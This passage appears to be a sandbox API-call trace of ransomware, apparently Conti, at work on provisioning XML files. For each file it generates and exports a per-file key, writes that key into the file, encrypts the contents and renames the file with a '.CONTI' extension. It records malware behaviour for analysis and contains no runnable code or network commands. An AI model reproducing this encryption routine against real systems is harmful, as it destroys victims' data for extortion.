	[0112.291] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.291] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.292] GetLastError () returned 0x0
	[0112.292] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=707) returned 1
	[0112.292] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0112.292] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.292] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.292] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.292] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.292] WriteFile (in: hFile=0x3f8, lpBuffer=0x1811c2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x1811c2c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.297] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.297] ReadFile (in: hFile=0x3f8, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2c3, lpOverlapped=0x0) returned 1
	[0112.298] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2c3, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d0) returned 1
	[0112.298] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.298] WriteFile (in: hFile=0x3f8, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.298] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.298] WriteFile (in: hFile=0x3f8, lpBuffer=0x1811c20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1811c20*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0112.298] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.298] CloseHandle (hObject=0x3f8) returned 1
	[0112.298] GetProcessHeap () returned 0x1720000
	[0112.298] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.298] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml"
	[0112.298] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.298] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\519__connections_cellular_vinaphone (vietnam)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.302] GetProcessHeap () returned 0x1720000
	[0112.302] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.302] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0112.302] GetProcessHeap () returned 0x1720000
	[0112.302] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18094c8 | out: hHeap=0x1720000) returned 1
	[0112.302] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0112.302] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x18132f8 | out: phKey=0x18132f8*=0x17c81b0) returned 1
	[0112.302] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18132fc, pdwDataLen=0x4abfcac | out: pbData=0x18132fc*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0114.273] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.274] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0114.274] GetLastError () returned 0x0
	[0114.274] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=707) returned 1
	[0114.274] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0114.274] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.274] SetEndOfFile (hFile=0x314) returned 1
	[0114.274] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.274] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.274] WriteFile (in: hFile=0x314, lpBuffer=0x18132fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x18132fc*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0114.282] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.282] ReadFile (in: hFile=0x314, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2c3, lpOverlapped=0x0) returned 1
	[0114.282] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2c3, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d0) returned 1
	[0114.282] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.282] WriteFile (in: hFile=0x314, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.282] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.282] WriteFile (in: hFile=0x314, lpBuffer=0x18132f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x18132f0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0114.282] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.282] CloseHandle (hObject=0x314) returned 1
	[0114.282] GetProcessHeap () returned 0x1720000
	[0114.282] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.283] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml"
	[0114.283] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.283] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\520__connections_cellular_vms mobifone (vietnam)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.284] GetProcessHeap () returned 0x1720000
	[0114.284] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.284] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0114.284] GetProcessHeap () returned 0x1720000
	[0114.284] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c290 | out: hHeap=0x1720000) returned 1
	[0114.284] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0114.284] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d4f0 | out: phKey=0x6b4d4f0*=0x17c81b0) returned 1
	[0114.284] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d4f4, pdwDataLen=0x4abfcac | out: pbData=0x6b4d4f4*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0114.285] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.285] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0114.286] GetLastError () returned 0x0
	[0114.286] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=721) returned 1
	[0114.286] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0114.286] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.286] SetEndOfFile (hFile=0x314) returned 1
	[0114.286] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.286] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.286] WriteFile (in: hFile=0x314, lpBuffer=0x6b4d4f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4f4*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0114.290] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.290] ReadFile (in: hFile=0x314, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2d1, lpOverlapped=0x0) returned 1
	[0114.290] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d1, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2e0) returned 1
	[0114.290] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.290] WriteFile (in: hFile=0x314, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2e0, lpOverlapped=0x0) returned 1
	[0114.290] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.290] WriteFile (in: hFile=0x314, lpBuffer=0x6b4d4e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4e8*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0114.290] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.290] CloseHandle (hObject=0x314) returned 1
	[0114.291] GetProcessHeap () returned 0x1720000
	[0114.291] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.291] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml"
	[0114.291] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.291] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\80__Connections_Cellular_Hrvatski Telekom (Croatia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\80__connections_cellular_hrvatski telekom (croatia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.291] GetProcessHeap () returned 0x1720000
	[0114.291] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.291] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0114.292] GetProcessHeap () returned 0x1720000
	[0114.292] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ca108 | out: hHeap=0x1720000) returned 1
	[0114.292] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0114.292] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d738 | out: phKey=0x6b4d738*=0x17c81b0) returned 1
	[0114.292] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d73c, pdwDataLen=0x4abfcac | out: pbData=0x6b4d73c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0114.293] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.293] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0114.293] GetLastError () returned 0x0
	[0114.293] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=706) returned 1
	[0114.293] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2
	[0114.293] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.293] SetEndOfFile (hFile=0x314) returned 1
	[0114.293] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.293] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.294] WriteFile (in: hFile=0x314, lpBuffer=0x6b4d73c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x6b4d73c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0114.297] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.297] ReadFile (in: hFile=0x314, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2c2, lpOverlapped=0x0) returned 1
	[0114.297] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2c2, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d0) returned 1
	[0114.297] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.297] WriteFile (in: hFile=0x314, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.297] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.297] WriteFile (in: hFile=0x314, lpBuffer=0x6b4d730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x6b4d730*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0114.297] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.297] CloseHandle (hObject=0x314) returned 1
	[0114.297] GetProcessHeap () returned 0x1720000
	[0114.298] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
